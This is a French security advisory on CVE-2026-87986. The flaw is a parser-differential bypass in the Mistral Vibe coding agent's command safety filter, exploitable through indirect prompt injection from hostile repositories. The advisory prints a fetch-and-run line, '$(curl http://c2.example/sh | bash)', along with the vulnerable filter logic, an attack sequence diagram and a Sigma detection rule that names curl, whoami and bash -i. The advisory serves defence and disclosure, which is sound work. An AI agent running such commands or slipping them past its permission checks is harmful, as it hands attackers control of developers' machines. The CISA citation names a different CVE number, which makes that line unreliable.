CVE-2026-87986 : injection de commande via contournement des nœuds d'erreur syntaxique dans Mistral vibe
SCORE DE MENACE HERMES & EXÉCUTION ARBITRAIRE PAR DIFFÉRENTIEL DE PARSER
Cible :Mistral Vibe Coding Agent (mistral-vibe) Le score CVSS v4.0 attribue à la CVE-2026-87986 la note maximale de 10.0 (Critique, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). Le score de menace Hermes évalue la vulnérabilité à 98 (CRITIQUE). Cette criticité découle d'un différentiel de grammaire où des syntaxes complexes générant des nœuds ERROR dans l'AST sont ignorées par le filtre de sécurité mais fidèlement exécutées par Bash.
CVE-2026-87986: Mistral Vibe Command Injection via Parser Syntax Error Node BypassVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“CVE-2026-87986 weaponizes the agentic attack pattern formalized under AAP-002.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)
Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“CVE-2026-87986 weaponizes the agentic attack pattern formalized under AAP-003.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)
Adversary injects explicit formatting tags or role-inversion prompts directly into user input to strip system instructions and escape developer-enforced guardrails.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“CVE-2026-87986 weaponizes the agentic attack pattern formalized under AAP-001.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source : Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Fiabilité : HIGH)
1. Contexte technique & matrice des versions affectées
Section intitulée « 1. Contexte technique & matrice des versions affectées »| Paramètre | Spécification Technique | Contexte Threat Intelligence |
|---|---|---|
| Identifiant CVE | CVE-2026-87986 | Découvert par Esteban Tonglet (HiddenLayer) |
| Faiblesse CWE | CWE-228 (Gestion syntaxique défaillante), CWE-78 (Injection de commande) | Omission des nœuds d’erreur AST lors du contrôle de sécurité |
| Vecteur d’attaque | Injection indirecte de prompt (AAP-002) / AAP-003 | Dépôts tiers, pull requests malveillantes, issues |
| Composant vulnérable | Moteur de parcours AST de Mistral Vibe | Omet les sous-arbres issus de nœuds ERROR |
| Versions affectées | mistral-vibe < 1.1.0 | Toutes configurations par défaut |
| Version corrigée | vibe >= 1.1.0 | Refus systématique (fail-closed) dès détection d’un nœud ERROR |
| Impact systémique | Exécution de code à distance avec les droits du développeur | Effondrement complet de la frontière de sécurité de l’agent |
2. Décomposition technique approfondie & cause racine
Section intitulée « 2. Décomposition technique approfondie & cause racine »A. Le différentiel entre parsers (tree-sitter vs. bash)
Section intitulée « A. Le différentiel entre parsers (tree-sitter vs. bash) »Les grammaires formelles statiques comme tree-sitter-bash ne couvrent pas l’intégralité des particularités de Bash. En présence d’une séquence inattendue, le parseur entre en mode de récupération d’erreur et génère un nœud ERROR :
program ├── command: "echo" │ └── argument: "hello" └── ERROR <--- tree-sitter-bash échoue à typer proprement la structure └── [commande shell malveillante encapsulée : $(curl http://c2.example/sh | bash)]B. Le défaut de sécurité « fail-open »
Section intitulée « B. Le défaut de sécurité « fail-open » »Dans les versions antérieures à 1.1.0, Vibe parcourait l’AST en ne filtrant que les types connus :
# Logique vulnérable dans Mistral Vibe (< 1.1.0)def inspect_ast_node(node): if node.type == "command": check_command_allowed(node) elif node.type in ("word", "string"): check_path_arguments(node) # ANOMALIE : Si node.type == "ERROR", le filtre ne bloque pas ! # Le validateur saute le nœud et auto-approuve la commande parente !Faute d’une politique « fail-closed », la présence d’un nœud ERROR n’interrompait pas l’évaluation. Vibe n’identifiait que la commande inoffensive contiguë (echo hello), la validait comme sûre, et transmettait la chaîne brute à Bash.
3. Scénario d’attaque & exploitation
Section intitulée « 3. Scénario d’attaque & exploitation »sequenceDiagram autonumber actor Attaquant as Auteur du Dépôt Malveillant participant Agent as Agent Mistral Vibe participant TS as Parseur tree-sitter-bash participant Filtre as Filtre de Sécurité Vibe participant Shell as Interpréteur Bash
Attaquant->>Agent: Injection indirecte avec syntaxe anormale (AAP-002) Agent->>TS: Analyse syntaxique de la commande complexe TS-->>Filtre: Émet un AST avec nœud 'ERROR' pour le segment malveillant Filtre->>Filtre: Ignore le contenu du nœud 'ERROR' Note over Filtre: Commande reconnue : 'echo' (SÛR). AUTO-APPROUVÉ ! Filtre->>Shell: Transmet la commande brute Shell->>Shell: Bash évalue la syntaxe et exécute le sous-shell malveillant Shell->>Attaquant: Prise de contrôle à distance du poste !4. Détection & chasse aux menaces
Section intitulée « 4. Détection & chasse aux menaces »Règle Sigma
Section intitulée « Règle Sigma »title: RCE Mistral Vibe via Nœud d Erreur Syntaxique de Parserid: 87986001-vibe-parser-error-rce-frstatus: experimentaldescription: Détecte des structures de commandes atypiques exploitant des différentiels de grammaire sous un processus Mistral Vibe.references: - https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/author: Hermes Codex Cyber Defense Teamlogsource: category: process_creation product: linuxdetection: selection_vibe: CommandLine|contains: 'vibe' selection_anomaly: CommandLine|re: '\{\s*\(\s*[:;].*id|whoami|curl|bash\s+-i' condition: selection_vibe and selection_anomalylevel: critical5. Défense, durcissement & remédiation
Section intitulée « 5. Défense, durcissement & remédiation »- Mise à jour immédiate : installer
vibe >= 1.1.0. Tout arbre contenant un nœudERRORdéclenche impérativement une demande de confirmation explicite à l’utilisateur. - Politique fail-closed : toute anomalie d’analyse syntaxique dans un système agentique doit être traitée comme hostile par défaut.
- Sandbox conteneurisée : confinement de l’agent dans un conteneur rootless gVisor ou Docker.
- Protections AgentThreat Studio : activer les contrôles de frontière de contexte (AgentThreat Studio) contre AAP-001 : Violation des frontières de contexte.
6. Références croisées
Section intitulée « 6. Références croisées »- CVE-2026-87983 : lecture arbitraire via chemins avec guillemets
- CVE-2026-87984 : écriture arbitraire via omission des redirections shell
- CVE-2026-87985 : RCE via le quoting ANSI-C dans
find -exec - CVE-2026-87987 : RCE via stripping des variables d’environnement
- CVE-2026-87988 : disparité entre commandes auto-approuvées et contrôle des chemins
- AAP-001 : violation des frontières de contexte
- AAP-002 : injection indirecte de contexte
- AAP-003 : altération des paramètres d’outils